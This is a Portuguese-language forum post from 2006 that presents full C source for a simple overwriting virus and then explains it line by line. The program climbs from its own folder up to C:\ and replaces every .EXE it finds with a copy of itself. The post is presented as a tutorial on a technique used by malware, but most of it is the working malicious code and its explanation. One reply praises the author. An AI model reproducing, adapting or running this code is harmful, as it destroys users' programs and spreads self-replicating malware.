Técnica OverWriting em C

Started by Dark_Side, 16 de December , 2006, 02:19:48 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Dark_Side

Hi,

Geralmente, me conecto à Internet pela madrugada (internet discada =X). É neste intervalo que costumo escrever alguns artigos e brincar um pouco também. Sem nada melhor para fazer, estava procurando algo para que eu pudesse escrever. Após muito tempo, me veio à cabeça explicar um pouco sobre uma técnica que é utilizada por muitos programas maliciosos - OverWriting.

Esta técnica consiste em procurar por determinados arquivos - geralmente todos que tenham uma extensão específica - e substituir seu código pelo o do programa em ação.

Pelo o que eu já vi, a maioria desses programas é escrita em Assembly, no entanto, irei demonstrar um simples exemplo escrito na linguagem C.

O programa infecta todos os arquivos .EXE dentro do diretório onde é executado e em todos os seus anteriores, até que se chegue à unidade C:\.

Segue abaixo o código:
 
#include <io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define BuscarPrimeiro _findfirst
#define BuscarProximo _findnext
#define FecharBusca _findclose
typedef struct _finddata_t ProcuraArq;

ProcuraArq arquivo;

FILE * fp = NULL;
long handle;
unsigned long infectar_tam = 0;
char * buffer_infectar = NULL;
char dir_atual[0x100] = {0};

int parar = 0;

int main(int argn,char * arg[])
{
char * nome_proprio_exe = strrchr(arg[0],'\\')+1;

fp = fopen(arg[0],"rb");
if(!fp)
return 1;
infectar_tam = filelength(fp->_file);

buffer_infectar = (char*)malloc(infectar_tam+1);
fread(buffer_infectar,infectar_tam,1,fp);
fclose(fp);


while(parar == 0)
{
getcwd(dir_atual,0x100);
if(!strcmp(dir_atual,"C:\"))
parar = 1;

handle = BuscarPrimeiro("*.exe",&arquivo);

switch(handle)
{

case -1:
chdir("..");
continue;
break;

default:

do{
if(strcmp(nome_proprio_exe,arquivo.name) != 0)
{
char criar_copia[0x100];
snprintf(criar_copia,0x100,"copy %s copialol_%s",arquivo.name,arquivo.name);
system(criar_copia);
fp = fopen(arquivo.name,"wb");
fwrite(buffer_infectar,1,infectar_tam,fp);
fclose(fp);
}

}while(BuscarProximo(handle,&arquivo) == 0);


chdir("..");
FecharBusca(handle);
}}

free(buffer_infectar);

return 0;
}



Pronto. Agora iremos explicá-lo:

#include <io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

Talvez você já conheça os headers acima, mas vamos ver a finalidade de cada um:

Quoteio     -> entrada e saída; iremos utilizar a função filelength() para nos retornar o tamanho em bytes de um arquivo e para realizarmos buscas de arquivos.

string -> entrada e saída padronizadas; manipulação de arquivos: fopen(), fclose(), fread() e fwrite();

string -> manipulação de strings; retornar o tamanho de uma string, escrever em uma string e comparar strings;

stdlib -> para utilizarmos alocação dinâmica de memória e a função system().

O trecho abaixo define "macros" que irá facilitar o entendimento:

#define BuscarPrimeiro _findfirst
#define BuscarProximo _findnext
#define FecharBusca _findclose

A macro "BuscarPrimeiro" equivale à função _findfirst;
A macro "BuscarProximo" equivale à função _findnext;
A macro "FecharBusca" equivale à função _findclose;

QuoteBuscarPrimeiro(argumentos...) = _findfirst(argumentos...);
BuscarProximo(argumentos...)  = _findnext(argumentos...);
FecharBusca(argumentos...)    = _findclose(argumentos...);

Mas afinal, que funções são estas?

As funções acima fazem parte do CRT - C Runtime Libraries - e são utilizadas para trabalharmos com buscas de arquivos.

A função _findfirst é utilizada para encontrar a primeira ocorrência de um arquivo;
A função _findnext é usada continuar uma pesquisa por arquivos;
Por fim, utiliza-se a função _findclose quando queremos terminar uma busca.

Para podermos utilizar as funções acima, devemos ter uma variável que pertença à estrutura _finddata_t. Novamente, para facilitar o entendimento, fazemos uma pequena associação:

typedef struct _finddata_t ProcuraArq;
Desta vez, criamos um "novo tipo" de variável - ProcuraArq - que, na verdade, equivale à estrutura _finddata_t.

Veja a declaração:

struct _finddata_t nome;
Associando a variável ProcuraArq a esta estrutura, poderíamos simplesmente fazer:

ProcuraArq nome;
No nosso código, temos:

ProcuraArq arquivo;
Vejamos as outras variáveis contidas no códido:

FILE * fp = NULL;
long handle;
unsigned long infectar_tam = 0;
char *  buffer_infectar = NULL;
char dir_atual[0x100] = {0};

int parar = 0;

Quotefp              -> ponteiro para o arquivo do executável;

handle          -> variável de controle na busca dos arquivos;

infectar_tam    -> tamanho do arquivo executável;

buffer_infectar -> buffer que irá armazenar o código executável;

dir_atual       -> buffer que irá armazenar o diretório atual em que o programa está;

parar           -> variável de controle que será usada para controlar se o programa continuará infectando ou não.

Observe a declaração da função principal:

int main(int argn,char * arg[])

O argumento arg é um array de strings que armazena os argumentos com os quais o programa iniciou. O elemento referenciado por arg[0] é sempre o caminho do próprio executável. Iremos utilizá-lo para ler o código deste arquivo do local onde este estiver.

char * nome_proprio_exe = strrchr(arg[0],'\\')+1;
Acima nós temos um ponteiro que armazena apenas o nome e a extensão do executável, já que arg[0] retorna também o diretório onde este arquivo está. Iremos utilizar este ponteiro para certificar que o programa não tentará se auto-infectar (lolz).

O ponteiro armazena o endereço de memória que inicia um byte após a última ocorrência do caractere '\' na string, exemplo:

Quotec:\lol\arquivo.exe = arquivo.exe

fp = fopen(arg[0],"rb");
if(!fp)
  return 1;
infectar_tam = filelength(fp->_file);

O trecho acima é responsável por obter o tamanho do executável do programa. Primeiramente abre-se o arquivo para leitura, verifica por êxito e, em seguida, atribui-se à variável infectar_tam o tamanho em bytes do arquivo retornado pela função filelength().

Abaixo, armazenamos em buffer_infectar o código do executável:

buffer_infectar = (char*)malloc(infectar_tam+1); // Aloca o tamanho necessário - tamanho do arquivo
fread(buffer_infectar,infectar_tam,1,fp); // Lê-se o arquivo
fclose(fp); // Fecha-o

O trecho abaixo é o responsável pela infecção:


while(parar == 0)
{
    getcwd(dir_atual,0x100);
    if(!strcmp(dir_atual,"C:\"))
    parar = 1;

handle = BuscarPrimeiro("*.exe",&arquivo);

switch(handle)
{

 case -1:
    chdir("..");
    continue;
    break;

 default:

do{
  if(strcmp(nome_proprio_exe,arquivo.name) != 0)
  {
  char criar_copia[0x100];
  snprintf(criar_copia,0x100,"copy %s copialol_%s",arquivo.name,arquivo.name);
  system(criar_copia);
  fp = fopen(arquivo.name,"wb");
  fwrite(buffer_infectar,1,infectar_tam,fp);
  fclose(fp);
  }

}while(BuscarProximo(handle,&arquivo) == 0);


chdir("..");
FecharBusca(handle);
}}

Vamos desmembrá-lo:

while(parar == 0)
Como havia dito, a variável parar é responsável por controlar se o programa irá infectar ou não os arquivos.
Na condição, se o valor for 0, o programa continua a infectar, quando o diretório atual for "C:" o valor da variável será alterado para 1, quando, na próxima interação do loop, a condição será FALSA (parar não será igual 0) fazendo com que este loop encerre.

O trecho abaixo é responsável por obter o diretório atual e verificar se este é C:\.

    getcwd(dir_atual,0x100); // Obtém diretório
    if(!strcmp(dir_atual,"C:\")) // Verifica se é C:\
    parar = 1; // Se sim, parar = 1

handle = BuscarPrimeiro("*.exe",&arquivo);
Acima, nós tentamos obter a primeira ocorrência de qualquer arquivo que contenha a extensão EXE.
Note que utilizamos a macro BuscarPrimeiro e que, ao invés desta, poderíamos fazer:

handle = _findfirst("*.exe",&arquivo);
A sintaxe seria:

Quotelong _findfirst(char * procurar_por,struct _finddata_t* ponteiro_finddata);

       procurar_por:
              nome do arquivo a ser procurado. Pode-se utilizar caracteres curingas, como * por exemplo.

       ponteiro_finddara:
              ponteiro para uma estrutura do tipo _finddata_.

A função retorna -1 caso nenhuma ocorrência seja encontrada, ou retorna um valor diferente quando há ocorrência - é utilizado para controlar o processo de busca, através das funções _findnext e _findclose.


Analise o bloco abaixo:

switch(handle) // Verifica pelo valor de retorno da função _findfirst (BuscarPrimeiro)
{

 case -1: // Se -1 = não foram encontradas ocorrências
    chdir(".."); // Pula para o diretório anterior
    continue; // Continua o loop while
    break;

 default: // Se o valor for diferente de -1

do{
 // Verifica se o nome do arquivo encontrado é diferente do nome do próprio executável
  if(strcmp(nome_proprio_exe,arquivo.name) != 0)
  {
  char criar_copia[0x100]; // buffer utilizar para formatar o comando COPY do DOS

  /*
  Escreve no buffer:
  copy nome_do_arquivo copialol_nomedoarquivo
  */

  snprintf(criar_copia,0x100,"copy %s copialol_%s",arquivo.name,arquivo.name);
  system(criar_copia); // Executa o comando escrito no buffer -> copiar o arquivo
 
  fp = fopen(arquivo.name,"wb"); // Abre o arquivo para escrita -> sobrescrever
  fwrite(buffer_infectar,1,infectar_tam,fp); // Escreve o código do executável lido
  fclose(fp); // Fecha o arquivo
  }

}
 // Continua executando as instruções acima enquanto houverem novas ocorrências na busca
while(BuscarProximo(handle,&arquivo) == 0);

Vamos ver a sintaxe da função _findnext (BuscarProximo):

Quotelong _findnext(long handle,struct _finddata_t* ponteiro_finddata);

       handle:
              valor retornado pela função _findfirst - handle do processo de busca.

       ponteiro_finddara:
              ponteiro para uma estrutura do tipo _finddata_.

A função retorna -1 caso nenhuma ocorrência seja encontrada, ou retorna 0 quando há ocorrência.

Quando todos os arquivos do diretório atual são encontrados (ou não), pula-se para o diretório anterior e fecha-se o handle de busca:

chdir(".."); // Pula para um diretório antes
FecharBusca(handle); // Fecha handle

Após a infecção, o programa libera a memória alocada em buffer_infectar antes de encerrar:

free(buffer_infectar);
Na API do Windows, temos as funções FindFirstFile, FindNextFile e FindClose, que, eventualmente, poderiam substituir as funções _findfirst, _findnext e _findclose, respectivamente. Contudo, o uso dessas funções é um pouco mais complicado, por esta razão optei por utilizar estas últimas ;)
Bye.

branco

parabens brow, deveria juntar todos seus artigos e montar um "livro"
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?